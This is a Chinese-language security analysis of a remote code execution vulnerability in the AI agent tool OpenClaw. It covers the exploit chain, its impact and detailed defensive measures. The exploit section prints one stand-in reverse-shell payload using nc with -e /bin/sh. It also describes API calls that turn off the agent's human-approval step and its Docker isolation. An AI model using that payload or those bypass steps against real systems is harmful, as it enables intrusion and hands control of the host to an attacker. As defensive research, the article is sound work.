2026年初，开源AI代理工具OpenClaw（原Clawdbot/Molt bot）曝出高危远程代码执行（RCE）漏洞（CVE-2026-25253，CVSS评分8.8），该漏洞可通过恶意链接实现一键触发，攻击者无需复杂操作即可接管目标设备、窃取敏感数据，甚至横向渗透内网系统。截至2026年2月，全球超1.5万台设备公网暴露该漏洞接口，中国境内受影响设备近3000台。作为一款上线仅3个月就斩获GitHub 14.9万星的热门工具，OpenClaw的安全危机不仅暴露了轻量级开源工具的普遍设计缺陷，更折射出AI代理时代设备防护、权限管控与供应链安全的全新挑战。

本文将从漏洞本质、利用原理、攻击特征出发，深入剖析该漏洞的技术核心，并结合攻防对抗趋势提出兼具实操性与前瞻性的防御体系，为政企机构与个人用户构建安全屏障提供参考。

一、漏洞核心认知：OpenClaw并非单一漏洞，而是复合型风险集合

OpenClaw的“一键RCE”并非由单一代码缺陷导致，而是设计逻辑漏洞+配置不当+部署缺陷共同引发的复合型安全风险，其核心是工具的“易用性设计”与“生产环境安全”的严重脱节，这也是当前各类开源AI工具的共性问题。与传统物联网设备漏洞不同，OpenClaw作为本地运行的AI代理工具，拥有系统级操作权限，其漏洞的危害被进一步放大，具体可拆解为三个核心属性：

1. 高危性：漏洞属于未授权访问+命令注入+令牌泄露的连锁漏洞，攻击者成功利用后可获得目标设备的管理员/root权限，实现文件篡改、数据窃取、恶意程序植入等全维度破坏，且攻击无需用户额外交互，仅需诱导用户点击恶意链接或访问恶意页面即可触发。
2. 广泛性：OpenClaw支持Windows、Linux、macOS等多系统，可部署在个人终端、开发服务器、云主机等多种环境，且因工具开源、部署简单，大量个人用户与中小企业未做任何安全配置即直接使用，导致攻击面持续扩大。
3. 隐蔽性：漏洞存在“本地人身份误判”“跨站WebSocket劫持”等隐蔽利用路径，即便部分用户开启了基础认证，也可能因反向代理部署、端口暴露等问题陷入防御真空，传统防火墙、杀毒软件难以识别其攻击流量。

需要明确的是，OpenClaw本身并非恶意工具，其定位是本地运行的AI个人助理，旨在实现“本地算力、本地数据、本地控制”，解决SaaS化AI工具的隐私泄露问题，但正是这种“本地高权限”的设计，使其在存在安全缺陷时成为攻击者的“完美跳板”。

二、漏洞技术纵深：一键RCE的实现原理与完整利用链

OpenClaw的“一键触发”本质是攻击者利用工具的设计缺陷，绕过所有安全验证机制，直接触发远程代码执行的自动化过程，其完整利用链可拆解为4个核心环节，各环节环环相扣，缺一不可，且每个环节都对应着工具的一个关键安全缺陷，这也是漏洞利用的核心技术要点。

（一）前置条件：信任边界模糊，本地连接默认免认证的设计缺陷

OpenClaw的核心设计缺陷之一是对localhost（127.0.0.1）连接的无条件信任：工具默认对所有来自本地回环地址的连接自动授权，无需密码、Token或任何身份校验，这一设计在单机开发环境中可提升易用性，但在生产环境或多设备组网环境中，直接打破了最基础的信任边界。
更致命的是，该工具无法正确识别经由反向代理（Nginx/Caddy等）转发的真实来源IP，会将所有代理转发的请求统一判定为“本地连接”，从而赋予最高权限。这意味着，即便用户将OpenClaw部署在内网，并通过反向代理实现外部访问，攻击者也可利用代理作为跳板，将外部请求伪装为本地请求，完美绕过所有认证机制——这一缺陷被称为“防御反被防御伤”，也是大量用户开启基础防护后仍被攻击的核心原因。

同时，OpenClaw的默认端口18789未做任何隐藏处理，且工具服务横幅会暴露版本、运行环境等敏感信息，攻击者可通过Shodan、FOFA、鹰图等网络空间测绘平台，以“port:18789”为关键词批量扫描公网暴露设备，快速锁定攻击目标，这为“一键触发”提供了精准的目标来源。

（二）核心漏洞：令牌泄露+跨站WebSocket劫持，实现认证绕过

OpenClaw的一键RCE核心是令牌泄露漏洞，该漏洞与工具的WebSocket通信机制直接相关：工具的控制界面会从URL查询字符串中读取网关地址，且未做任何验证，加载页面时会自动连接该网关，并将存储的网关令牌直接发送到WebSocket连接载荷中。
而工具的服务器未对WebSocket的Origin请求头进行校验，允许任何域名的网站发起WebSocket连接，这直接导致跨站WebSocket劫持（CSWSH） 攻击成为可能。攻击者只需构造一个恶意网页，嵌入精心设计的URL查询字符串，当安装了OpenClaw的用户访问该网页时，浏览器会在后台自动向OpenClaw服务器发送WebSocket请求，并携带用户的真实网关令牌——攻击者无需窃取令牌，只需通过恶意网页即可直接获取令牌的使用权，实现无认证访问。

该环节的关键在于，令牌是OpenClaw的核心身份凭证，拥有令牌即拥有工具的全部操作权限，且令牌默认以明文形式存储在本地配置文件中，未做加密处理，进一步降低了攻击者的利用成本。

（三）关键步骤：权限篡改+容器逃逸，突破执行环境隔离

攻击者通过令牌获得OpenClaw的操作权限后，并非直接执行恶意命令，而是先通过工具的API进行权限篡改，突破工具的原生安全限制，为后续代码执行扫清障碍，这是OpenClaw漏洞利用与传统命令注入的核心区别。
OpenClaw原生设计了两道安全屏障：一是高危操作需要人工确认（如执行系统命令、修改配置），二是所有外部命令都在Docker容器中运行，与主机系统隔离。但攻击者可通过API调用，将“exec.approvals.set”配置项改为“off”，关闭人工确认机制；同时将“tools.exec.host”配置项改为“gateway”，强制工具绕过Docker容器，直接在主机系统中执行命令——这一操作实现了容器逃逸，使攻击者的命令不再受任何环境隔离限制，直接作用于目标设备的核心系统。

这一环节的危害在于，OpenClaw通常以普通用户甚至root权限运行，容器逃逸后，攻击者执行的命令将拥有与工具相同的系统权限，足以实现对目标设备的完全控制。

（四）最终实现：命令注入+一键执行，完成远程代码执行

在突破所有安全限制后，攻击者即可通过OpenClaw的exec工具实现命令注入，这是漏洞利用的最后一步，也是传统RCE漏洞的核心环节。OpenClaw的exec工具在处理用户输入时，未对特殊字符进行过滤与转义，直接将用户输入拼接到系统命令中执行，攻击者可通过构造包含命令分隔符（;、&&、||、|等）的恶意Payload，打破原有命令逻辑，插入任意恶意命令。
例如，攻击者构造Payload：ls;nc 攻击者IP 端口 -e /bin/sh，exec工具会先执行正常的ls命令，再通过nc命令建立反向Shell，使攻击者获得目标设备的交互式终端权限——至此，一键RCE完成，攻击者可通过反向Shell对目标设备进行任意操作，包括窃取API密钥、SSH私钥、用户数据，植入挖矿程序、僵尸网络程序，甚至利用目标设备作为跳板，横向渗透内网其他设备。

整个利用过程耗时仅数毫秒，且全程在后台静默执行，用户无任何感知，这也是该漏洞被称为“一键沦陷”的核心原因。

三、漏洞攻击特征与影响范围：从个人终端到政企内网的全维度威胁

OpenClaw漏洞的利用链决定了其攻击特征具有自动化、低门槛、隐蔽性的特点，而工具的部署场景与高权限属性，使其影响范围覆盖个人用户、中小企业、大型政企机构，甚至可能引发供应链安全风险，具体可分为攻击特征与影响范围两部分：

（一）三大核心攻击特征，传统检测手段难以识别

1. 攻击入口单一，流量无明显特征：攻击均通过OpenClaw的默认端口18789或WebSocket连接发起，流量以正常的HTTP/WS请求为主，无明显恶意特征，传统WAF、防火墙的规则库难以识别，易被判定为“正常业务流量”。
2. 利用过程自动化，无需人工干预：攻击者可将漏洞利用Payload封装为恶意链接，通过钓鱼邮件、恶意广告、社交平台等渠道传播，只需用户点击一次链接，即可完成全流程攻击，无需攻击者手动构造请求、验证漏洞，技术门槛极低。
3. 后渗透行为隐蔽，难以溯源：攻击者获得控制权后，可利用OpenClaw的本地权限植入轻量级后门（如Cron后门、SSH wrapper），并通过加密隧道（如DNSCat2、Chisel）传输数据，传统日志审计、流量监控难以发现其后续操作，溯源难度大。

（二）四级影响范围，从个人隐私泄露到政企内网沦陷

1. 个人用户层面：设备被接管，隐私数据（照片、文档、聊天记录）泄露，银行卡、支付账户、API令牌等敏感信息被窃取，甚至设备被植入挖矿程序，造成算力与带宽的无端消耗。
2. 中小企业层面：开发服务器、办公终端被攻击，代码仓库、客户数据、商业机密泄露，若服务器部署在内网，攻击者可通过横向移动攻陷整个企业网络，导致业务系统瘫痪、数据丢失。
3. 大型政企机构层面：若员工私自在办公终端或内网服务器部署OpenClaw，将直接成为内网“突破口”，攻击者可利用该漏洞绕过政企的边界防护体系，渗透到核心业务系统、数据中心，引发大规模数据泄露或生产事故，尤其金融、能源、政务等行业受影响更为严重。
4. 供应链安全层面：OpenClaw支持安装第三方社区“技能包”，而目前这类技能包缺乏统一的安全审计机制，攻击者可开发恶意技能包，通过社区传播诱导用户安装，实现供应链攻击，进而影响大量工具使用者。

四、漏洞应急处置与实操防护方案：从即时止损到长效防御

针对OpenClaw远程代码执行漏洞，防御的核心原则是**“先应急止损，再全面加固，最后建立长效体系”**，结合漏洞的利用原理与攻击特征，分别为个人用户与政企机构制定可落地、可执行的防护方案，同时明确应急处置的关键步骤，最大限度降低漏洞危害。

（一）紧急应急处置：72小时内必须完成的核心操作

无论个人用户还是政企机构，发现设备部署了OpenClaw后，需立即执行以下操作，实现即时止损，防止漏洞被利用：

1. 立即更新至安全版本：OpenClaw官方已在2026年1月30日发布修复版本2026.1.29，该版本修复了令牌泄露、WebSocket校验缺失、命令注入等核心漏洞，所有用户需立即卸载旧版本，升级至最新版本。
2. 封禁默认端口18789：在设备防火墙、路由器、企业出口防火墙上，全局封禁18789端口（包括TCP/UDP协议），同时封禁5353（mDNS）端口，切断攻击者的远程访问路径。
3. 检查并重置令牌：查看OpenClaw本地配置文件，确认网关令牌是否泄露，若已暴露，立即生成新令牌并删除旧令牌，同时将令牌加密存储，避免明文保存。
4. 终止异常进程与连接：通过系统监控工具（如Linux的ps、netstat，Windows的任务管理器）检查是否存在未知的nc、curl、挖矿进程，以及异常的外部网络连接，立即终止并拉黑相关IP。

（二）个人用户防护方案：极简配置，构建基础安全屏障

个人用户部署OpenClaw的核心需求是“易用性+隐私性”，防护方案无需复杂操作，只需在保留核心功能的前提下，完成4项基础配置，即可将安全风险降至最低：

1. 禁止公网暴露，仅本地运行：将OpenClaw的网关绑定地址从0.0.0.0改为127.0.0.1，禁止工具监听所有网络接口，确保仅本地设备可访问，避免公网暴露。
2. 启用强身份验证，拒绝空密码：开启API令牌认证与登录密码双重验证，密码设置为“字母+数字+特殊字符”的组合，且定期更换，拒绝使用默认密码或空密码。
3. 修改默认端口，隐藏服务特征：将默认端口18789改为非标准高位端口（如65000+），并关闭工具的服务横幅，避免被网络空间测绘平台扫描发现。
4. 限制工具权限，避免以root/管理员运行：以普通用户权限运行OpenClaw，禁止赋予其root/Windows管理员权限，即便工具被攻击，也可限制攻击者的破坏范围。

（三）政企机构防护方案：多层防护，构建组织级安全体系

政企机构的防护核心是**“管控+隔离+监测”**，需结合制度约束与技术手段，从设备、网络、人员、流程四个维度构建全维度防御体系，避免因员工私装工具引发内网安全危机：

1. 建立开源工具准入白名单制度：将OpenClaw等具有系统级操作权限的AI代理工具纳入高风险软件审计目录，严禁员工私自在办公终端、内网服务器部署；确有业务需求的，需经安全部门风险评估后，在隔离环境中部署。
2. 强化终端与网络边界的硬性阻断：通过EDR（终端检测响应）工具强制禁止终端安装未授权开源工具，同时在企业出口防火墙、内网交换机上配置策略，封禁18789等高危端口，实现“边界阻断+终端管控”的双重防护。
3. 实施常态化资产盘点与漏洞扫描：利用网络空间测绘平台（如鹰图、FOFA）定期对企业所属IP段进行扫描，排查是否存在私装OpenClaw等工具的暴露资产；同时通过漏洞扫描工具（如Nessus、OpenVAS）对终端与服务器进行常态化扫描，及时发现并修复类似漏洞。
4. 推行沙箱隔离与最小权限原则：对获批部署的OpenClaw等工具，强制要求在Docker、K8s等沙箱环境中运行，与核心业务系统、数据中心实现网络隔离；同时为工具分配最小操作权限，禁止其访问敏感目录（如~/.ssh、数据库存储目录）与核心业务端口。
5. 建立异常行为监测与告警机制：通过SIEM（安全信息与事件管理）系统聚合终端日志、网络流量、工具操作日志，设置异常行为告警规则（如OpenClaw的批量命令执行、跨网段访问），一旦发现异常，立即触发告警并自动执行隔离操作。
6. 加强员工安全培训，提升风险意识：针对开源工具、AI代理工具的安全风险开展常态化培训，让员工明确私装工具的危害，掌握基础的安全配置方法，从源头减少安全漏洞。

五、前瞻性防御思考：AI代理时代，开源工具安全的全新挑战与应对趋势

OpenClaw漏洞并非个例，而是AI代理工具普及背景下，开源软件安全问题的一个缩影。随着大模型、AI Agent、本地开源工具的快速发展，“易用性”与“安全性”的矛盾将愈发突出，传统的“被动防御”模式已难以应对全新的安全威胁，未来的防御体系需要向**“主动防御、全生命周期防护、供应链安全”** 转型，具体可从三个维度把握发展趋势：

（一）从“漏洞修补”到“设计安全”，将安全融入工具开发全生命周期

当前多数开源工具的设计思路是“先实现功能，再修补漏洞”，而OpenClaw的核心问题正是设计阶段的信任边界模糊、权限管控缺失。未来，开源工具的开发需遵循**“安全左移”** 原则，将安全设计融入需求分析、架构设计、代码开发、测试部署的全生命周期，例如：在设计阶段明确信任边界，对本地与远程连接采取不同的认证机制；在开发阶段对用户输入进行严格的过滤与转义，避免命令注入、SQL注入等基础漏洞；在测试阶段开展常态化的渗透测试与模糊测试，及时发现设计缺陷。

（二）从“单点防护”到“零信任架构”，适配AI代理的高权限特性

AI代理工具的核心特征是“本地高权限+跨平台交互+多接口调用”，传统的“边界防护+内网信任”模式已完全失效，而零信任架构（ZTA） 的“永不信任，始终验证”理念，正是应对这类威胁的最佳方案。未来，政企机构需将零信任架构落地到终端、网络、应用、数据等各个层面，对所有AI代理工具的访问请求进行身份认证、权限校验、行为审计，即便工具被攻击，也能有效限制攻击者的破坏范围，避免内网沦陷。

（三）从“单一防护”到“供应链协同”，构建开源软件安全生态

OpenClaw的第三方技能包风险，暴露了开源工具供应链安全的巨大隐患。未来，开源软件的安全防护不能仅依靠工具开发者，而需要开发者、审计机构、用户、行业组织的协同配合，构建全链条的供应链安全体系：例如，建立开源工具安全审计标准，对热门工具进行常态化安全审计并发布审计报告；搭建第三方插件/技能包的安全审核平台，对所有社区贡献的插件进行病毒扫描、代码审计，杜绝恶意插件传播；建立开源漏洞信息共享机制，及时同步漏洞信息与修复方案，让开发者与用户快速响应。

（四）从“人工防御”到“AI攻防对抗”，利用AI提升防御效率

攻击者可利用AI工具自动化构造Payload、扫描目标、实施攻击，而防御方也需要借助AI技术提升防御效率。未来，基于大模型的异常行为检测、恶意流量识别、漏洞自动挖掘、应急响应自动化将成为主流，例如：利用AI模型分析OpenClaw等工具的操作行为，识别恶意命令注入；利用AI自动化生成防护规则，快速应对新型漏洞；利用SOAR（安全编排、自动化与响应）工具实现漏洞发现、告警、隔离、修复的全流程自动化，大幅提升应急响应效率。

六、总结

OpenClaw远程代码执行漏洞的爆发，为所有开源工具使用者、开发者与安全从业者敲响了警钟：在AI代理时代，“本地高权限”的开源工具既是提升效率的利器，也可能成为攻击者的“万能钥匙”，其安全风险远高于传统工具。该漏洞的核心危害并非技术本身的复杂性，而是设计缺陷的普遍性、配置不当的广泛性、攻击利用的低门槛，这也意味着，防御的关键并非高深的技术手段，而是重视基础安全配置、建立完善的管控体系、将安全意识融入每一个使用环节。

对于个人用户而言，需摒弃“开源工具即安全”的错误认知，掌握基础的安全配置方法，做到“不随意暴露端口、不使用默认密码、不赋予高权限”；对于政企机构而言，需从制度、技术、人员三个维度构建组织级防御体系，将开源工具的风险管控纳入整体安全战略，避免因“蚁穴之患”引发“千里之堤”的崩塌；对于开源工具开发者而言，需将安全作为核心设计原则，在追求易用性的同时，守住安全的底线。

网络安全的本质是人与人的对抗，更是理念与意识的较量。在技术快速发展的今天，唯有始终保持风险意识，将安全融入技术应用的每一个环节，才能在享受开源工具与AI技术带来的效率提升的同时，构建起坚不可摧的安全屏障，让技术真正服务于生产生活，而非成为攻击者的工具。

免责声明

本文对OpenClaw远程代码执行漏洞的分析，仅为技术研究与安全防护目的，所有技术细节与防护方案均用于提升用户的安全意识与防御能力。未经授权，利用本文所述技术手段攻击他人设备、网络系统，均属于违法犯罪行为，将承担相应的民事、行政甚至刑事责任。网络空间不是法外之地，任何网络行为都应遵守国家相关法律法规。